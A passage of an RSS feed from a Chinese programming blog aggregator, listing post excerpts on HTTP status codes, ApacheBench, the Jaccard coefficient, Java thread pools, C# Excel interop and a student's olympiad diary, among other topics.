      <description>header(&#39;HTTP/1.1 404 Not Found&#39;); 1xx: 信息 消息：描述：100 Continue服务器仅接收到部分请求，但是一旦服务器并没有拒绝该请求，客户端应该继续发送其余的请求。101 Switching Protocols服务器转换协议：服务器将遵从客户的请求转换到另外一种协议。103 Checkpoint用于 PUT 或者 POST 请求恢复失败时的恢复请求建议。 2xx: 成功 消息：描述：200 OK请求成功（这是对HTTP请求成功的标准应答。）201 Created请求被创建完成，同时新的资源被创建。202 Accepted供处理的请求已被接受，但是处理未完成。203 Non-Authoritative Information请求已经被成功处理，但是一些应答头可能不正确，因为使用的是其他文档的拷贝。204 No Content请求已经被成功处理，但是没有返回新文档。浏览器应该继续显示原来的文档。如果用户定期地刷新页面，而Servlet可以确定用户文档足够新，这个状态代码是很有用的。205 Reset Content请求已经被成功处理，但是没有返回新文档。但浏览器应该重置它所显示的内容。用来强制浏览器清除表单输入内容。206 Partial Content客户发送了一个带有Range头的GET请求，服务器完成了它。 3xx: 重定向 消息：描述：300 Multiple Choices多重选择。链接列表。用户可以选择某链接到达目的地。最多允许五个地址。301 Moved Permanently所请求的页面已经转移至新的 URL 。302 Found所请求的页面已经临时转移至新的 URL 。303 See Other所请求的页面可在别的 URL 下被找到。304 Not Modified未按预期修改文档。客户端有缓冲的文档并发出了一个条件性的请求（一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档）。服务器告诉客户，原来缓冲的文档还可以继续使用。305 Use Proxy客户请求的文档应该通过Location头所指明的代理服务器提取。306 Switch Proxy目前已不再使用，但是代码依然被保留。307 Temporary Redirect被请求的页面已经临时移至新的 URL 。308 Resume Incomplete用于 PUT 或者 POST 请求恢复失败时的恢复请求建议。 4xx: 客户端错误 消息：描述：400 Bad Request因为语法错误，服务器未能理解请求。401 Unauthorized合法请求，但对被请求页面的访问被禁止。因为被请求的页面需要身份验证，客户端没有提供或者身份验证失败。402 Payment Required此代码尚无法使用。403 Forbidden合法请求，但对被请求页面的访问被禁止。404 Not Found服务器无法找到被请求的页面。405 Method Not Allowed请求中指定的方法不被允许。406 Not Acceptable服务器生成的响应无法被客户端所接受。407 Proxy Authentication Required用户必须首先使用代理服务器进行验证，这样请求才会被处理。408 Request Timeout请求超出了服务器的等待时间。409 Conflict由于冲突，请求无法被完成。410 Gone被请求的页面不可用。411 Length Required&#34;</description>
    </item>
    <item>
      <title>ab fails to connect to localhost</title>
      <link>https://bchobby.github.io/posts/624f0e35f91c59e74f295f5bc3f85be5/</link>
      <pubDate>Tue, 13 Nov 2018 11:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/624f0e35f91c59e74f295f5bc3f85be5/</guid>
      <description>The following command fails: $ ab -n 1 localhost:8000/ ... Benchmarking localhost (be patient)...apr_socket_recv: Connection refused (111) But this one succeeds: $ ab -n 1 127.0.0.1:8000/ In /etc/hosts I have: 127.0.0.1 localhost.localdomain localhost ::1 localhost.localdomain localhost The issue here is caused by ab taking the first result returned by apr_sockaddr_info_get: https://github.com/apache/httpd/blob/2.4.29/support/ab.c#L1835-L1837 But apr_sockaddr_info_get returns a list. If it were to try the second sockaddr structure, it would connect. This way it works: rv = apr_sockaddr_info_get(&amp;amp;sa, REMOTE_HOST, APR_UNSPEC, REMOTE_PORT, 0, mp); if (rv !</description>
    </item>
    <item>
      <title>相似度计算之Jaccard系数</title>
      <link>https://bchobby.github.io/posts/ba4dcfdc25d26e3639e0dc477fa12eb4/</link>
      <pubDate>Tue, 13 Nov 2018 10:23:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba4dcfdc25d26e3639e0dc477fa12eb4/</guid>
      <description> Jaccard相似系数 定义 给定两个集合A,B，Jaccard 系数定义为A与B交集的大小与A与B并集的大小的比值，定义如下：&#xA;当集合A，B都为空时，J(A,B)定义为1。&#xA;与Jaccard 系数相关的指标叫做Jaccard 距离，用于描述集合之间的不相似度。Jaccard 距离越大，样本相似度越低。公式定义如下：&#xA;其中对参差（symmetric difference）&#xA;性质 实例 主要用于计算符号度量或布尔值度量的个体间的相似度，因为个体的特征属性都是由符号度量或者布尔值标识，因此无法衡量差异具体值的大小，只能获得“是否相同”这个结果，所以Jaccard系数只关心个体间共同具有的特征是否一致这个问题。&#xA;1、如果比较X与Y的Jaccard相似系数，只比较xn和yn中相同的个数，公式如下：&#xA;如集合A={1,2,3,4};B={3,4,5,6};&#xA;那么他们的J(X,Y)=1{3,4}/1{1,2,3,4,5,6}=1/3;&#xA;2、样本A与样本B是两个n维向量，而且所有维度的取值都是0或1。例如：A(0111)和B(1011)。我们将样本看成是一个集合，1表示集合包含该元素，0表示集合不包含该元素。&#xA;概念浅析：假设A是坚果Pro2 , B是 苹果8x。 为了比较两个手机，给出了n个评价指标，即n维特征，也就是n维向量：1-是国产、2-有刘海、3-价格高于5000。那么对于A=（100），B=（011）。所以，n维向量指样本的N维特征，组成一个集合。而集合是由元素组成的，在对应的特征位置，如果样本有该特征，这个位置集合值取1，表示包含该元素；否则，取0，表示不包含该元素。可见，元素=特征。&#xA;P：样本A与B都是1的维度的个数&#xA;q：样本A是1，样本B是0的维度的个数&#xA;r：样本A是0，样本B是1的维度的个数&#xA;s：样本A与B都是0的维度的个数&#xA;那么样本A与B的杰卡德相似系数可以表示为：&#xA;这里p+q+r可理解为A与B的并集的元素个数，而p是A与B的交集的元素个数。&#xA;而样本A与B的杰卡德系数表示为：&#xA;代码 1、当两个集合元素个数相同，则直接调包&#xA;from numpy import * import scipy.spatial.distance as dist # 导入scipy距离公式 matV = mat([[1,1,0,1,0,1,0,0,1],[0,1,1,0,0,0,1,1,1]]) print (&#34;dist.jaccard:&#34;, dist.pdist(matV,&#39;jaccard&#39;)) 2、当集合元素个数不同&#xA;def correlation(set_a,set_b): unions = len(set_a.union(set_b)) intersections = len(set_a.intersection(set_b)) return 1. * intersections / unions </description>
    </item>
    <item>
      <title>configure: error: no acceptable C compiler found in $PATH</title>
      <link>https://bchobby.github.io/posts/bceb35dfcb2a8e9245d66a6ccabe2c3d/</link>
      <pubDate>Mon, 12 Nov 2018 21:50:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bceb35dfcb2a8e9245d66a6ccabe2c3d/</guid>
      <description>准备编译新版的liastdc++.so.6，结果在执行如下语句的时候出错——&#xA;../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib 没有安装c编译器，犯蠢了，忘记重新安装CentOS之后，装C编译器了——&#xA;sudo yum install gcc 问题解决</description>
    </item>
    <item>
      <title>python__00013__Python中类似C中的include方式</title>
      <link>https://bchobby.github.io/posts/a9ed341882cd1096a00ebca24a33a697/</link>
      <pubDate>Mon, 12 Nov 2018 20:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9ed341882cd1096a00ebca24a33a697/</guid>
      <description> python__00013__类似C中的include方式 一、python的include方式 在C或者C++中有时候会用到#include指令包含某个文件，但是杂python中却没有这样的指令，python提供了import指令&#xA;二、代码如下 d:\hello.py: import os def print_hello(): print(&#39;hello&#39;) hello_str = &#39;hello_str&#39; e:\call.py: import os import sys sys.path.append(&#39;d:&#39;) from hello import * print_hello() print(hello_str) 输出结果如下： E:\&amp;gt;python call.py hello hello_str </description>
    </item>
    <item>
      <title>2018-11-12</title>
      <link>https://bchobby.github.io/posts/92ef5c205be82d0d4455252435c3e085/</link>
      <pubDate>Mon, 12 Nov 2018 19:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92ef5c205be82d0d4455252435c3e085/</guid>
      <description>今天 ，xampp中mysql意外关闭，弄了一上午，关闭mysqld.exe解决&#xA;下午安装PHP成功但配置失败，最后卸载重装了xampp使用了默认的&#xA;晚上安装xdebug失败</description>
    </item>
    <item>
      <title>2018-11-11</title>
      <link>https://bchobby.github.io/posts/860ef6cb5f062bbea780dfbc99e4f316/</link>
      <pubDate>Mon, 12 Nov 2018 18:55:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/860ef6cb5f062bbea780dfbc99e4f316/</guid>
      <description>基础语言环境：php 5.6,mysql,apache(外部服务器，xampp(PHP开发环境）&#xA;开发工具：phpstorm,微信web开发者工具/vs code,postman(测试接口）（三段分离）,navicat&#xA;其中thinkphp只是web框架，需要php运行环境。&#xA;常见web服务器：apache,nginx。&#xA;第一步：安装xampp,mysql,apache&#xA;第二步： 安装tp5(&#xA;https://www.kancloud.cn/manual/thinkphp5/118003官方文档下载之后解压到xampp/htdocs&#xA;第三步：&#xA;将刚下的thinkphp改名为zerg,framew剪切进去 重名thinkphp&#xA;测试成功。&#xA;第四步：下载phpstrome&#xA;快捷键：注释：ctrl+/,xtrl+shift+/&#xA;------------------------------------------------------&#xA;理解含义</description>
    </item>
    <item>
      <title>猫眼一二面面经</title>
      <link>https://bchobby.github.io/posts/d2a64378fcbf1c1b36a0ec3cd40b16e2/</link>
      <pubDate>Sun, 11 Nov 2018 20:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2a64378fcbf1c1b36a0ec3cd40b16e2/</guid>
      <description>电话打来要求视频面试，头一遭的我立马行动起来换衣服，加qq面试就开始了。&#xA;1、讲项目框架，问了其中文件上传的细节，没答上来，一年前的代码忘了；&#xA;2、hashmap与hashtable的区别；&#xA;3、jvm内存的划分；&#xA;4、堆与栈的区别；&#xA;5、java内存模型，实现原理；&#xA;6、volatile，为什么不能保证原子性；&#xA;7、手写单例模式；&#xA;8、线程的状态；&#xA;9、线程安全，线程池（较深入）；&#xA;10、事务ACID，隔离级别，脏读、不可重复读、幻读，mysql的默认隔离级别，如何修改；&#xA;11、hashmap的实现原理，如果key相应位置链表有大量数据，如何缩小查找时间；&#xA;12、hashmap与concurrenthashmap的区别；&#xA;13、synchronized与lock的区别，公平锁，非公平锁；&#xA;14、垃圾回收算法，新生代老年代永久代，GCRoots;&#xA;15、HTTP 状态码；&#xA;16、TCP/IP体系结构；&#xA;17、三次握手；&#xA;18、TCP和UDP的区别；&#xA;19、get与post的区别；&#xA;20、MyISAM和InnoDB的区别；&#xA;21、linux下shell，bash;&#xA;22、各排序算法的平均时间复杂度，文件太大需要IO用什么排序；&#xA;23、最左前缀索引的解释，索引常见结构；&#xA;24、手撕代码，实现库函数开方；&#xA;最后，面试官说，可能有三面可能没有，都会发信息通知的。&#xA;静待结果，我佛保佑。</description>
    </item>
    <item>
      <title>LinuxC基础学习一之各类软件环境介绍</title>
      <link>https://bchobby.github.io/posts/42f8cf190ae4080d1bfdc94ec9347520/</link>
      <pubDate>Sun, 11 Nov 2018 19:22:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42f8cf190ae4080d1bfdc94ec9347520/</guid>
      <description> LinuxC基础学习一之各类软件环境介绍 一、常用软件 1、VM12+Ubuntu14.04 2、Everything: 本地搜索工具 3、Mindmanager：思维导图工具 4、Xshell： 远程访问软件 二、LINUX文件目录结构 目录结构：&#xA;Bin：全称binary，含义是二进制。该目录中存储的都是一些二进制文件，文件都是可以被运行的。&#xA;Dev：该目录中主要存放的是外接设备，例如盘、其他的光盘等。在其中的外接设备是不能直接被使用的，需要挂载（类似windows下的分配盘符）。&#xA;Etc：该目录主要存储一些配置文件。&#xA;Home：表示“家”，表示除了root用户以外其他用户的家目录，类似于windows下的User/用户目录。&#xA;Proc：process，表示进程，该目录中存储的是Linux运行时候的进程。&#xA;Root：该目录是root用户自己的家目录。&#xA;Sbin：全称super binary，该目录也是存储一些可以被执行的二进制文件，但是必须得有super权限的用户才能执行。&#xA;Tmp：表示“临时”的，当系统运行时候产生的临时文件会在这个目录存着。&#xA;Usr：存放的是用户自己安装的软件。类似于windows下的program files。&#xA;Var：存放的程序/系统的日志文件的目录。&#xA;Mnt：当外接设备需要挂载的时候，就需要挂载到mnt目录下。&#xA;三、 LINUX基本指令 / root目录 ~ home目录 su：切换用户 cd：切换目录 pwd：显示当前目录 ls：例举当前目录下的文件 ls -l 显示文件详细信息 ls -a 显示隐藏文件(文件名以小数点开头的文件) </description>
    </item>
    <item>
      <title>100以内的数分解问题</title>
      <link>https://bchobby.github.io/posts/fba681108b8e440f6ec4139d6ee49aae/</link>
      <pubDate>Sun, 11 Nov 2018 19:16:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fba681108b8e440f6ec4139d6ee49aae/</guid>
      <description>将一个数分解为他的质因数的乘积形式。&#xA;import java.util.ArrayList; public class FenJie { static int n = 100; static void fenjie(int i,ArrayList sushu) {&#x9;//非素数分解方法（递归） for(int j = 2;j&amp;lt;=n;j++) { if(sushu.contains(j)) if(i%j == 0) { int s = i/j; if(sushu.contains(s)) { System.out.println( j + &#34; * &#34; + s); break; }&#x9;else { System.out.print( j + &#34; * &#34;); fenjie(s,sushu); break; } } }&#x9;} public static void main(String[] args) { ArrayList sushu = new ArrayList(); sushu.</description>
    </item>
    <item>
      <title>C#实战012:Excel操作-获取Excel某一行数据并存入数组</title>
      <link>https://bchobby.github.io/posts/8ba4ae98ab04dcc83e711aa42112ace6/</link>
      <pubDate>Sun, 11 Nov 2018 18:32:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba4ae98ab04dcc83e711aa42112ace6/</guid>
      <description>前面获取了Excel某一列数据并存入数组，接着我们继续获取Excel某一行数据并存入数组，方法基本一致，就一点小小的改动，以下是完整的代码：&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Microsoft.Office.Interop.Excel; using System.Diagnostics; using System.Reflection; namespace ConsoleApplication3 { class EditExcel { #region 获取Excel某行数据 /// &amp;lt;summary&amp;gt; /// 获取Excel某行数据 /// &amp;lt;/summary&amp;gt; public List&amp;lt;string&amp;gt; RowDB = new List&amp;lt;string&amp;gt;(); public void getRowDB(string ExcelName) { //创建 Excel对象 Application App = new Application(); //获取缺少的object类型值 object missing = Missing.Value; //打开指定的Excel文件 Workbook openwb = App.Workbooks.Open(ExcelName, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing); //获取选选择的工作表 Worksheet ws = ((Worksheet)openwb.</description>
    </item>
    <item>
      <title>JAVA线程池</title>
      <link>https://bchobby.github.io/posts/dc22949e635424775213bf84cbae3db9/</link>
      <pubDate>Sun, 11 Nov 2018 17:12:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc22949e635424775213bf84cbae3db9/</guid>
      <description>JAVA线程池 主要常用的接口 Executor接口 ExecutorService接口 Callable接口 Exectuors工具类 Executor接口 介绍：执行器，主要是用来执行任务&#xA;方法：void execute(@NotNull Runnable command);&#xA;ExecutorService接口 介绍：执行器服务，继承于Executor接口，主要是往里面扔任务执行&#xA;常用方法：execute() 和submit()&#xA;void execute(@NotNull Runnable command)主要是放没有返回值的任务 Future&amp;lt;T&amp;gt; submit(@NotNull Callable command)主要是用来处理有返回值的任务 Callable接口 介绍：和Runnable接口很相似，主要区别在于Callable可以有返回值并且可以抛出异常&#xA;方法：V call() V是泛型&#xA;Exectuors工具类 介绍：一个工具类，和Arrays这种很相似；主要用来创建线程池&#xA;线程池 概述：预先创建一些线程存储起来，当有任务过来的时候线程去执行；执行完之后回到线程池中，这样避免了频繁的创建和销毁线程带来的cpu浪费。&#xA;注意：&#xA;线程池一般会维护两个队列，等待队列和完成队列，等待队列使用的是BlockingQueue(一般是用这三种：LinkedBlockingQueue；ArrayBlockingQueue；synchronousQueue)。线程池不会自动关闭回收，需要调用shutdown()这类方法 shutdown() 等待所有的任务执行完之后才正常关闭shutdownNow() 立刻关闭线程池 常见的线程池 FixedThreadPool CacheThreadPool SingleThreadPool ScheduledThreadPool WorkStrealingPool ForkJoinPool FixedThreadPool 特点：创建线程池的时候指明线程的大小(线程长度固定)；等待队列使用的是LinkedBlockingQueue，当任务过大的时候，等待队列迅速增大；存在存在着耗尽系统资源的问题。而且在线程池空闲时，即线程池中没有可运行任务时，它也不会释放工作线程，还会占用一定的系统资源，需要shutdown。 public class FixedThreadPoolTest{ public static void main(String []args){ ExecutorService service = Executors.newFixedThreadPool(5); //指定长度 System.out.println(service); //输出线程池状态 这个时候是0 //放任务 使用execute()放放是无返回结果的任务 for(int i = 0; i &amp;lt; 6; i++){ service.</description>
    </item>
    <item>
      <title>C#实战010:Excel操作-查询Excel中的数据</title>
      <link>https://bchobby.github.io/posts/fcc869db445301cb80169f2603a8ef9e/</link>
      <pubDate>Sun, 11 Nov 2018 16:35:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcc869db445301cb80169f2603a8ef9e/</guid>
      <description>基本操作搞定我们就可以来对数据进行操作了，先来个查询，找到你想要的数据先,废话不多说，直接附上带代码：&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Microsoft.Office.Interop.Excel; using System.Diagnostics; using System.Reflection; namespace ConsoleApplication3 { class EditExcel { #region 查询Excel中的数据 /// &amp;lt;summary&amp;gt; /// 查询Excel中的数据 /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;ExcelName&#34;&amp;gt;&amp;lt;/param&amp;gt; public void query(string ExcelName) { //创建 Excel对象 Application App = new Application(); //获取缺少的object类型值 object missing = Missing.Value; //打开指定的Excel文件 Workbook openwb = App.Workbooks.Open(ExcelName, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing, missing); //获取选选择的工作表 Worksheet ws =((Worksheet)openwb.</description>
    </item>
    <item>
      <title>OI退役记</title>
      <link>https://bchobby.github.io/posts/cb6360d90057a683a58cfac395ceb41f/</link>
      <pubDate>Sun, 11 Nov 2018 13:51:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb6360d90057a683a58cfac395ceb41f/</guid>
      <description>看过无数篇大佬们的退役记，&#xA;我叫Lyx，CLEZ第数不清届OI team队员，一个无名的小蒟蒻，一个逐梦者。&#xA;临近NOIP2018，决定在最后一周里记录一些东西，为自己短暂而庸碌的OI生涯留个纪念。&#xA;这个故事，关于梦想。&#xA;2018.11.5 Day -4&#xA;突然想起来写点东西，原本是打算把洛谷11月赛的最后一题写了的（咕咕咕）&#xA;越到比赛前越是有杂七杂八的念头，干脆写出来，让自己能平静地去考场。&#xA;原本是想把标题写成“再见，OI”，转念一想我可能没资格再见一次OI，就写成了“NOIP2018退役记”，毕竟有大概率我就从此退役了。&#xA;4个月前脑子一热决定停课搞OI，于是和家里开始了长达数月的争吵。那时我就看hzwer大佬的博客，看他的回忆录，那时真的是看哭了，我也在下面留言说要把学校的名字挂在榜上，可能我就要食言了。&#xA;还记得当时家长一直苦口婆心劝我放弃，全国前50名不是我这种人可以去想的，我说我就想办法去拼一个银牌或者铜牌，他们又说山东省队十几个名额也不是我这种人可以去想的，我说我想办法冲一下，不行就参加邀请赛，他们又说省一对我这种人来说也是难如登天的……&#xA;他们给了个折中方案，让我专心学文化课，每周去上两次竞赛课，偶尔再写一点点代码就好了。&#xA;那不就是在明着劝退么……&#xA;或许是初生牛犊不怕虎，或许是死鸭子嘴硬，我就是偏执地走上了停课搞OI的孤独之旅。&#xA;前三个月是干劲十足的，又开了自己的博客，范围量从几十几百到一两万，做的题也有一千多道了。10月开始打比赛后，就开始感觉自己前段时间的努力完全是在放屁。梦寐以求的实力连影子都看不到，一次比一次低的分数直接把我打垮了。&#xA;整个10月几乎没做多少题，整个人陷入了自闭一样，每天可能3道题都写不完，长时间的颓B站、颓知乎，或者大白天蒙头大睡，晚上又是翻来覆去失眠。我恨不得给自己电击治疗，我就是个没用的废物。&#xA;后来……后来班主任突然把我叫到学校去了，说怕我出现很大的心理压力，抽出时间陪我散心。那晚上聊了很久很久，回到家都还在微信上倾诉，趴在床上边写边哭。&#xA;后来竞赛老师也来给我讲最后时间怎么准备，怎么平衡自己的心态，坦然面对即将发生的一切。&#xA;后来家长也一直鼓励我，即使是一开始最反对我学OI的也鼓励我坚持走下去，即使是一无所获也无怨无悔。&#xA;不会一无所获的，全新的学习方法、全新的知识、全新的生活，身边所有的鼓励和支持，自己从自闭中走出来，还有CSFZ第一届OI team，我所收获的已经足够我一生受用。&#xA;希望到时出了考场，无论结果是好是坏，都可以笑着对所有支持我的人说一声感谢。&#xA;（或许，还会有一个回归OI记，一句“我不甘心就这么算了”呢）&#xA;还有这个博客我是不打算就这么沉下去，联赛考完应该会在这个博客上更新准备高考的东西（现在高二，我能更一年多呢，然后大学又更ACM(#^ . ^#)）（文化课博客是不是偏离CSDN的主题了）&#xA;还没想好怎么更新文化课博客，可能要做一些思维导图（已经置顶了），还有一些总结和考试复盘啥的，再来个文化课每周学习记录吧。需要的高中小伙伴也可以看看。我倒不怕复课，对于文化课我还是很有信心的。当然现在回去肯定捞了，打不过那些巨佬了），这也是为什么家里人最初反对我放弃自己擅长的文化课去学一个全新的东西，可能我就是不喜欢安稳喜欢作吧（笑））&#xA;“请翻过这座山，让世界听到你们的故事。”IG七年磨一剑，终于翻过了这座山。OI这座奇峰可能我是无法登顶了，但还有高考这座险峰等我攀登。翻过高考这座山，我也能骄傲的讲出自己的故事，自己的清华梦与OI梦。&#xA;2018.11.6 Day-3&#xA;继续做NOIP的真题。把17、16、15、14的套题做完了。再以前年份的题不打算做了，时间来不及，反正以前也做过不少，只是没有拿来全部完成。前段时间打模拟赛打到心态崩，现在拿真题来增长信心了（笑），希望到时上场真能打出信心十足的感觉。&#xA;突然很期待退役后的生活了，准备怒刷几十本练习册怒踩红榜（flag）&#xA;2018.11.7 Day-2&#xA;复习了暑假集训时的题，对于现在的我来说依旧是难炸了……&#xA;绷了4个月的神经还是稍微放松了一下。走到这一步感觉有没有奖都不重要了，学习的知识、四个月的努力汗水并不需要一个所谓奖项去证明。应该也不会去想着省选了，文化课落下的知识也得补，自己规划好的高二学习方案也要落实。终究还是要去高考的。&#xA;2018.11.8 Day-1&#xA;原本说要停电，幸好没有停。&#xA;今天打算理一下自己的模板、回顾一下知识点，也没有搞定多少。上午又开始头疼，下午只有先休息睡觉。&#xA;原本说走到今天得奖与否不重要，为什么还会天天失眠，还会每天神神叨叨的紧张兮兮的呢……无论结果怎样，快一点结束吧，OI生活既美好又痛苦，再这样下去真的会神经衰弱。&#xA;还是莫队说的对，OI是很看天赋的竞赛，人贵有自知之明。&#xA;除非联赛考得真的好，否则都不会去想省选了……文化课带来的压力，家长带来的压力，就算要学省选都不知道自己还敢不敢去放手一搏了……&#xA;还有到时出考场时，一定一定要笑着走出来，最后查分无论好坏都不要哭鼻子，奋斗四个月不是拿来哭丧脸的。&#xA;OI只是我高中阶段尝试性的一步，无论有没有结果都不重要。大学才是我真正追寻人生梦想的平台，大学的ACM生涯又会是美好的，而我现在要做的就是拼命考上大学。&#xA;我本不是一个喜欢招摇的人，因为IG夺冠立下的flag，把QQ微信博客甚至网易云音乐昵称都改了。既然公之于众了，那我就要真的把自己说的大话圆回来。我们家已经考上两个清北了，为啥不能再多我一个？&#xA;希望自己真的能把自己的梦想实现，即使只能实现一部分也是很好的。我记得我看过一段话，找不到原出处了（记个大概）：&#xA;人生就是在做动态规划，你的每一步决策将你从一个状态转移到另一个状态。你当前的决策不一定是最优的，但努力奋斗能带给你的是未来更多的可能性。&#xA;既然看不清前面的路，那就当个孤注一掷的疯子拿青春去做试验，翻过高考这座山，前面会是更高的平台和更广阔的天空，世界将听到我的故事。&#xA;“有一个夜晚我烧毁了所有的记忆，从此我的梦就透明了，有一个早晨我扔掉了所有的昨天，从此我的脚步就轻盈了。”&#xA;我的OI，问心无愧。&#xA;--------------------</description>
    </item>
    <item>
      <title>Netty 粘包 拆包  | 史上最全解读</title>
      <link>https://bchobby.github.io/posts/ed7fba6a429b9ba6e32296a5767023cc/</link>
      <pubDate>Sun, 11 Nov 2018 11:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed7fba6a429b9ba6e32296a5767023cc/</guid>
      <description>文章很长，建议收藏起来，慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源：&#xA;疯狂创客圈 经典图书 ： 《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 经典图书 ： 《SpringCloud、Nginx高并发核心编程》 面试必备 + 大厂必备 + 涨薪必备疯狂创客圈 价值1000元 百度网盘资源大礼包 随便取 GO-&amp;gt;【博客园总入口 】独孤九剑 Netty灵魂实验 ： 本地 100W连接 高并发实验，瞬间提升Java内力 文章目录 价值连城：2021春招月薪过5万 面试题 系列万字长文： 疯狂创客圈 springCloud 高并发系列写在前面 什么是粘包和半包？粘包和半包 图解半包的实验粘包和半包更全实验粘包和半包原理拆包的原理Netty 中的拆包器拆包之前的消息包装开发一个接收端的自定义拆包器自定义拆包器的实际应用为什么拆包器要加在pipeline 的最前面写在最后疯狂创客圈 实战计划 价值连城：2021春招月薪过5万 面试题 系列 搞定下面这些面试题，2021春招月薪过5万(猛！)阿里、京东、美团、头条… 随意挑、横着走！！！Java基础1： JVM面试题（史上最强、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14365820.html2：Java基础面试题（史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14366081.html3：死锁面试题（史上最强、持续更新）[https://www.cnblogs.com/crazymakercircle/p/14323919.html]4：设计模式面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367101.html5：架构设计面试题 （史上最全、持续更新、吐血推荐）https://www.cnblogs.com/crazymakercircle/p/14367907.html还有 10 几篇 篇价值连城 的面试题具体… 请参见【 疯狂创客圈 高并发 总目录 】 万字长文： 疯狂创客圈 springCloud 高并发系列 springCloud 高质量 博文 nacos 实战（史上最全） sentinel （史上最全+入门教程） springcloud + webflux 高并发实战 Webflux（史上最全） SpringCloud gateway （史上最全）还有 10 几篇 万字长文 的高质量 博文具体… 请参见【 疯狂创客圈 高并发 总目录 】 写在前面 大家好，我是作者尼恩。</description>
    </item>
    <item>
      <title>抽象类和接口的区别</title>
      <link>https://bchobby.github.io/posts/fe876cf49f32e98f96e1bb0c99c58b7a/</link>
      <pubDate>Sat, 10 Nov 2018 11:06:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe876cf49f32e98f96e1bb0c99c58b7a/</guid>
      <description>作者：海子&#xA;出处：http://www.cnblogs.com/dolphin0520/&#xA;本博客中未标明转载的文章归作者海子和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。&#xA;很好的一篇文章！</description>
    </item>
    <item>
      <title>【ArcGIS|空间分析】栅格数据和矢量数据的面积计算</title>
      <link>https://bchobby.github.io/posts/75d18eecd487cc44029eee74e91f94c3/</link>
      <pubDate>Fri, 09 Nov 2018 20:57:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75d18eecd487cc44029eee74e91f94c3/</guid>
      <description>栅格矢量数据计算面积之前，都需要将数据进行投影转换，设置单位以方便计算。&#xA;文章目录 1、栅格数据面积计算方法一：添加字段并计算方法二：以表格显示分区统计 2、 矢量数据面积计算 1、栅格数据面积计算 方法一：添加字段并计算 1、点击图层属性信息，查看源中的像元大小。&#xA;2、在图层属性表中添加面积字段。&#xA;3、在字段处右击选择字段计算器，并输入算式（像元宽度×像元高度×[count]）。&#xA;方法二：以表格显示分区统计 1、选择【以表格显示分区统计】工具，输入数据和输出数据存放位置。&#xA;2、打开输出表，查看面积信息。&#xA;2、 矢量数据面积计算 1、添加面积字段，为浮点型。&#xA;2、右键字段名，选择计算几何。&#xA;3、打开计算几何窗口，设置属性、坐标系和单位。&#xA;4、查看计算结果。</description>
    </item>
    <item>
      <title>Java抽象类Animal和Cat</title>
      <link>https://bchobby.github.io/posts/bbb0aca5f5e9b773c807fdc01f780c15/</link>
      <pubDate>Fri, 09 Nov 2018 13:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbb0aca5f5e9b773c807fdc01f780c15/</guid>
      <description>Java抽象类概念 在面向对象的概念中，所有的对象都是通过类来描绘的，但是反过来，并不是所有的类都是用来描绘对象的，如果一个类中没有包含足够的信息来描绘一个具体的对象，这样的类就是抽象类。&#xA;抽象类除了不能实例化对象之外，类的其它功能依然存在，成员变量、成员方法和构造方法的访问方式和普通类一样。&#xA;由于抽象类不能实例化对象，所以抽象类必须被继承，才能被使用。也是因为这个原因，通常在设计阶段决定要不要设计抽象类。&#xA;父类包含了子类集合的常见的方法，但是由于父类本身是抽象的，所以不能使用这些方法。&#xA;在Java中抽象类表示的是一种继承关系，一个类只能继承一个抽象类，而一个类却可以实现多个接口。&#xA;抽象类 在Java语言中使用abstract class来定义抽象类。如下实例：&#xA;People.java文件&#xA;package com; /** * @author HeLiu * @Description 人抽象类（Java语言中使用abstract class来定义抽象类） * @date 2018/11/9 10:31 */ public abstract class People { private String name; private Integer age; private String sex; public People(String name, Integer age, String sex) { System.out.println(&#34;Constructing an People&#34;); this.name = name; this.age = age; this.sex = sex; } public void smile() { System.out.println(&#34;ha...ha...ha...&#34;); } public void said() { System.</description>
    </item>
    <item>
      <title>撸了一个APP</title>
      <link>https://bchobby.github.io/posts/3718482bf1519bae36edbf7b15e42b79/</link>
      <pubDate>Fri, 09 Nov 2018 06:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3718482bf1519bae36edbf7b15e42b79/</guid>
